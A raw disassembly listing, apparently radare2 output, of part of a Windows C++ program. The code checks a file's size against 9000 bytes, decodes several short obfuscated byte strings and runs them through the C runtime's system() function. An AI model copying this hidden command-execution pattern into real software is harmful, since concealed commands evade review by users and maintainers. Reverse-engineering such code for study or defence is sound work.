mov ecx, esi
call fcn.0040d0b0
push esi
call ebx
add esp, 4
jmp 0x406907
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x360], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x406dd7
mov eax, dword [ebp - 0x3a0]
lea ecx, [ebp - 0x370]
cmp dword [eax], ecx
jne 0x406dd7
mov edx, dword [ebp - 0x358]
mov ecx, dword [ebp - 0x35c]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x390]
mov dword [eax], ecx
mov eax, dword [ebp - 0x380]
mov dword [eax], edx
cmp byte [ebp - 0x364], 0
je 0x406deb
lea ecx, [ebp - 0x3ac]
call fcn.0040dcc0
lea ecx, [ebp - 0x3ac]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 4
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x34c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x2b8]
call fcn.0040bd90
cmp dword [ebp - 0x2a4], 0x10
lea eax, [ebp - 0x2b8]
push 0x4153f8
cmovae eax, dword [ebp - 0x2b8]
push eax
lea eax, [ebp - 0x28c]
mov dword [ebp - 0x28c], 0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
push 2
push 0
push dword [ebp - 0x28c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push dword [ebp - 0x28c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push dword [ebp - 0x28c]
mov esi, eax
call ebx
mov edx, dword [ebp - 0x2a4]
add esp, 0x20
cmp edx, 0x10
jb 0x406eb8
mov ecx, dword [ebp - 0x2b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406eae
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x406eae
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410382
add esp, 8
cmp esi, 0x2328
jle 0x406ec7
mov bl, 1
jmp 0x406909
mov eax, dword [edi + 0x7e8]
mov dword [ebp - 0x28c], 0xdbccabf6
test al, 1
jne 0x406f3c
or eax, 1
mov dword [edi + 0x7e8], eax
mov byte [ebp - 4], 0x19
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x714], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x710], al
add ecx, 1
adc edx, 0
jne 0x406f2b
cmp ecx, 4
jb 0x406f10
push 0x413c70
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x710]
mov ecx, esi
call fcn.0040d290
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push esi
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x40e560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x32c]
mov dword [ebp - 0x2ac], 0xbe41a808
mov dword [ebp - 0x2a8], 0x9a4da4a5
mov word [ebp - 0x2a4], 0xc109
test al, 1
jne 0x406fec
or eax, 1
mov dword [edi + 0x32c], eax
mov byte [ebp - 4], 0x1a
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x4ee], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x2ac]
mov byte [ecx + edi + 0x4e4], al
add ecx, 1
adc edx, 0
jne 0x406fdb
cmp ecx, 0xa
jb 0x406fc0
push 0x413c30
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x4e4]
call fcn.0040d230
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x4e4]
push 0x40e560
call fcn.0040e110
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x738]
mov dword [ebp - 0x284], 0x96a64a5d
mov word [ebp - 0x280], 0x21e4
test al, 1
jne 0x407088
or eax, 1
mov dword [edi + 0x738], eax
mov byte [ebp - 4], 0x1b
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a8], xmm0
mov edx, dword [ebp - 0x2a4]
mov ecx, dword [ebp - 0x2a8]
mov byte [edi + 0x31e], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [ecx + edi + 0x318], al
add ecx, 1
adc edx, 0
jne 0x40707b
cmp ecx, 6
jb 0x407060
push 0x413bf0
call fcn.00410439
add esp, 4
lea esi, [edi + 0x318]
mov ecx, esi
call fcn.0040d1d0
push esi
call ebx
add esp, 4
jmp 0x406907
push edx
push ecx
call fcn.00410382
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004100f0
mov esp, ebp
pop ebp
ret